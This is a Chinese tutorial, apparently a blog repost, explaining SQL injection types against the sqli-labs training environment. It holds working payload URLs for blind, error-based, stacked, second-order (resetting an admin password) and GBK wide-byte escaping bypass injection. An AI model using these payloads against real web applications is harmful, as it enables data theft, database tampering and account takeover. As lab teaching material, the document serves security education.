SQL注入常见类型及利用方法

server/2024/12/23 6:30:30/

记一次讲解SQL注入的常见类型

一、数据库盲注(*)

盲注的思路 http://172.16.16.235/sqli-labs-master/Less-5/?id=12

第一步:
获取数据库名称
1.获取数据库的长度 :http://172.16.16.235/sqli-labs-master/Less-5/?
id=12%27%20and%20length(database())=2%20--+
2.根据长度,获取每个字符的内容;http://172.16.16.235/sqli-labs-master/Less-
5/?id=12%27%20and%20(substr(database(),1,1))=%27s%27%20--+
第二步:
获取数据库的表名
1.获取表名的长度 : http://172.16.16.235/sqli-labs-master/Less-5/?
id=12%27%20and%20(SELECT%20length(table_name)%20FROM%20informati
on_schema.tables%20WHERE%20table_schema%20=%20%27security%27%20L
IMIT%200%20,%201)%20=%206%20--+
2.根据长度,获取每个字符的内容;
http://172.16.16.235/sqli-labs-master/Less-5/?
id=12%27%20and%20substr((SELECT%20table_name%20FROM%20informatio
n_schema.tables%20WHERE%20table_schema%20=%27security%27%20LIMIT
%200,1),1,1)=%22e%22%20--+
第三
获取表的字段名
1.获取字段名的长度
http://172.16.16.235/sqli-labs-master/Less-5/?
id=12' and (SELECT LENGTH( column_name ) FROM information_schema.colu
mns WHERE table_schema='security' and table_name = 'users' LIMIT 0 , 1) >2
--+
2.根据长度,获取每个字符的内容;
http://172.16.16.235/sqli-labs-master/Less-5/?
id=12' and substr((SELECT column_name FROM information_schema.columns
WHERE table_schema='security' and table_name = 'users' LIMIT 0 , 1)),1,1)='i'
--+
第四步:
直接获取数据
利用 ord()和 mid()函数获取 users 表的内容
http://127.0.0.1/sqllib/Less-5/?id=
1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM securit
y.users ORDER BY id LIMIT 0,1),1,1))= 68--+
基础知识补充
0x20是空格的ascii码的十六进制表示。
IFNULL(CAST(username AS CHAR),0x20)
MID(string,x,x)===mid(Dumb,1,1)=ORD(D)转成ascii码是一个数字
sqlmap 只要需指定一下--technique=B

二、数据库报错注入(*)

在MYSQL中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法
发生错误时会输出在前端,从而从报错信息中获取设定的信息。

select/insert/update/delete都可以使用报错来获取信息。
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ''12'' LIMIT 0,1' at
line 1

黑客:

• 常用的爆错函数updatexml(),extractvalue(),floor() ,exp()
• updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数;
• extractvalue()函数也是MYSQL对XML文档数据进行查询的XPATH函数;
• floor()函数是MYSQL中用来取整的函数。
xml就是一个有固定格式的文本文件,类型似于小型数据库;
updatexml():
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为
Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可
以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml(1,concat(0x7e,(select database()),0x7e),1) ,字符串分隔符,故意
使用它进行报错;
1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出
xpath语法错误。
extractvalue():
MySQL的`extractvalue`函数是用来提取XML文档中指定路径的节点值。它的用
法是`extractvalue(xml_doc, xpath_expr)`,其中`xml_doc`是指定的XML文档,
`xpath_expr`是要提取节点值的路径表达式。
floor() :floor() 是 MySQL 的数学函数。此函数用于查找等于或小于给定数字的最大
整数. select floor(11.5)
(select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from
information_schema.tables group by x)a)
select count(*),concat(version(),floor(rand(0)*2))as x from
information_schema.tables group by x
exp():
rand():生成一个随机数;
floor(rand(0)*2) 这个值要么是0,要么是1
concat():
group_concat():将多列数据合并成一条数据;
select count(*),concat(version(),floor(rand(0)*2))x from
information_schema.tables group by x -----核心虚表的主键冲突报错

报错的理解:虚表、实现 主健 索引 ,当前大家的目的就是把这个注入语法搞明白,
如果要深入了解报错的原理大学要学数据库;(核心虚表的主键冲突报错)

三、数据库联合注入 union select (代码审计SQL注入)(*)

四、堆叠注入 (*)

堆叠注入 stacked injection
http://172.16.16.235/sqli-labs-master/Less-38/?id=2,这个页面只有查的功能,我
们想让它执行(修改:update 添加 insert 删除drop),这个时候就要用到堆叠;
原理:在SQL数据库串,每条SQL语名是以;分开的,堆叠注入就是一次性注入入多条
SQL语句;
与union联合查询注入的区别:union联合查询注入执行的语句类型是有限的,可能用
来执行查询语句。堆叠注入可以执行是任意的语句(增删改查)
局限性:
多语句执行受数据库类型、API、数据引擎的限制,有的不能实现

数据库的权限:增改可以会受到权限的限制。

http://172.16.16.235/sqli-labs-master/Less-38/?id=2, 通过union 联合查询:把
users (id ,username ,password)
insert into users(id,username,password)
values(15,"aaaaaaaaaaaaaa","1234335");
http://172.16.16.235/sqli-labs-master/Less-38/?id=2';
insert into
users(id,username,password) values(15,"aaaaaaaaaaaaaa","1234335"); --+
后台执行的sql语句:SELECT * FROM users WHERE id='2'; insert into
users(id,username,password) values(15,"aaaaaaaaaaaaaa","1234335"); --+'
LIMIT 0,1

五、二次注入

步骤:
1.找到系统里面存在admin用户
2.登陆页面和注册的页面我们发现都进行特殊字符处理;-按照以前的注入方法无法完
成;
3.特点:我们注册它的特殊字符串能够直接写到数据库当中;我们这里能不能将特殊字
符读出来?

二次注入实现方法
1.找到系统里面存在admin用户,我们的目标是修改admin用户的密码,这个时候我们
就可以实现后台登陆;
2.我们要创建一个用户:admin’# ,密码任意 :admin' #
3.进入登陆界面:注册的 admin’# ,密码任意 , "SELECT * FROM users
WHERE username='admin' #' and password='$password'";
4.登陆成功之后的页面进行拼接:
UPDATE users SET PASSWORD='$pass' where username='admin’#
' and password='$curr_pass',实现了对admin用户进行了修改密码;
二次注入的原理 :
第一次:在第一次进行数据库插入数据的时候,仅使用addslashes或者
get_magic_quotes_gpc对其中的特殊字符进行转义,在写入数据库的时候还保
留了原来的数据,但是数据本身还是脏数据;
第二次:脏数据存入到数据库中之后,开发者就认为数成是可信的。在下一次进
行需要查询的时候,直接从数据库中取出了脏数据,没有进行进一步的过滤,这
样就造成了SQL二次注入;。
防:直接从数据库中取出脏数据进行过滤

六、宽字节注入(*)

http://172.16.16.174/sqli/Less-32/?id=1
1' ---->1\' 发现一个问题’“ \,说明后台一个函数将对我们这些特殊字符串做转
义;
现在我就要使用一个方法进bypass绕过;
1%df' 我们使用这个串,发现进行闭合,而且是用'闭合的;
http://172.16.16.174/sqli/Less-32/?id=1%df'
http://172.16.16.174/sqli/Less-32/?id=1%df' order by 1 --+
http://172.16.16.174/sqli/Less-32/?id=1%df%27%20order%20by%201%20--+
http://172.16.16.174/sqli/Less-32/?id=1%df%27%20order%20by%202%20--+
http://172.16.16.174/sqli/Less-32/?id=1%df%27%20order%20by%203%20--+
http://172.16.16.174/sqli/Less-32/?
id=-1%df%27%20union%20select%201,2,3%20--+
后面打法用联合注入搞定
宽字节造成的环境:1.check_addslashes(特殊字符转义),2.mysql_query("SET
NAMES gbk")
宽字节的原理 :主要是涉及到数据库的编码与后台程序的编码一不一致,在mysql
中,如果使用了gbk编码,它会认为两个字符是一个汉字,前面台是url编码;
特殊字符号的URL编码:
%5c -->\
%27 -->'
%20 -->空格
%23 -->#
%3d --->=
测试字符型注入的payload
输入的payload:’ or 1 =1 #
通过addslashes()函数后的paylaod: \' or 1=1 #
对应的url编码payload:%5c%27%20or%201%3d%201%20%23
宽字节注入绕过payload
构造绕过payload:%df' or 1=1 #
通过addslashes()函数后的payload:%df\' or 1=1 #
对应的url编码payload:%df%5c%27%20or%201%3d1%20%23
当%df%5c%27%20or%201%3d1%20%23进入mysql中的时候,发MYSQL使
用的GBK编码 ,会认为两个字符是一个繁体汉字,将参数%df%5c按照GBK编码
集解析成一下汉字:運
执行的SQL语句:SELECT * FROM users WHERE id='運' or 1=1 #' LIMIT 0,1

http://www.ppmy.cn/server/8962.html

相关文章

MySQL基础知识

是一种广泛使用的关系型数据库管理系统。以下是一些 MySQL 的基础知识: 数据库和表:用于组织和存储数据。SQL:用于管理数据库的语言。数据类型:定义表中列的数据类型,如整数、字符串等。创建表:使用 SQL 语…

51单片机学习笔记——点亮数码管、模块化编程

工作原理图 138译码器 G1、G2A、G2B为138译码器的使能端 P22、P23、P24为输入口控制Y0-Y7的动作,以二进制的算法 具体如下: P22 P23 P24 0 0 0 Y0为1其余为0 0 0 1 Y1为1其余为0 0 1 0 Y2…

Linux下SPI设备驱动实验:使用内核提供的读写SPI设备中的数据的函数

一. 简介 前面文章的学习,已经实现了 读写SPI设备中数据的功能。文章如下: Linux下SPI设备驱动实验:验证读写SPI设备中数据的函数功能-CSDN博客 本文来使用内核提供的读写SPI设备中的数据的API函数,来实现读写SPI设备中数据。 …

基于Python调用Gurobi求解器的入门文档

文章目录 1. 初识Gurobi1.1 为什么是Gurobi?1.2 Win 安装方式1.3 申请许可证2. Gurobi基本语法2.1 建立模型2.1.1 定义变量2.1.2 定义约束2.1.3 定义目标(单目标、多目标)2.2 优化求解3. 演示示例1. 初识Gurobi Gurobi 是国外一款性能领先的商业求解器。与大部分商业求解器…

比亚迪24届春招Offer面经

本文介绍2024届春招中,比亚迪的高级底盘工程师岗位1场面试的基本情况、提问问题等。 2024年04月投递了比亚迪的系统开发类、 技术研发类、 技术研究类岗位,面试结束后分配至高级底盘工程师岗位;面试前未确定部门,面试结束后分配至…

用云手机运营TikTok有什么好处?

在数字化浪潮的推动下,社交媒体平台正重塑商业推广与品牌建设的面貌。TikTok,这款全球热门的短视频应用,已经吸引了亿万用户的瞩目。对于出海电商和品牌推广而言,借助云手机运营TikTok,能够解锁更多潜在可能&#xff0…

【wpf】ObservableCollection 跨线程报错问题

背景 ObservableCollection 我们之前介绍过他和List的区别。ObservableCollection 的好处在于,当集合发生变化时,能发送通知通知界面发生相应的更改。但是ObservableCollection 有个弊端。无法在非UI线程中访问。 要么就是通知失效了,要么就…

AI大模型日报#0421:「个性化」图像Gen4Gen框架、吴恩达亲授智能体设计模式、国内14大LLM最新评测报告

导读: 欢迎阅读《AI大模型日报》,内容基于Python爬虫和LLM自动生成。目前采用“文心一言”生成了每条资讯的摘要。 标题: 小冰徐元春:AIGC已经让普通人开始赚钱 | 中国AIGC产业峰会 摘要: 要点提炼: 在中国AIGC产业峰会上&…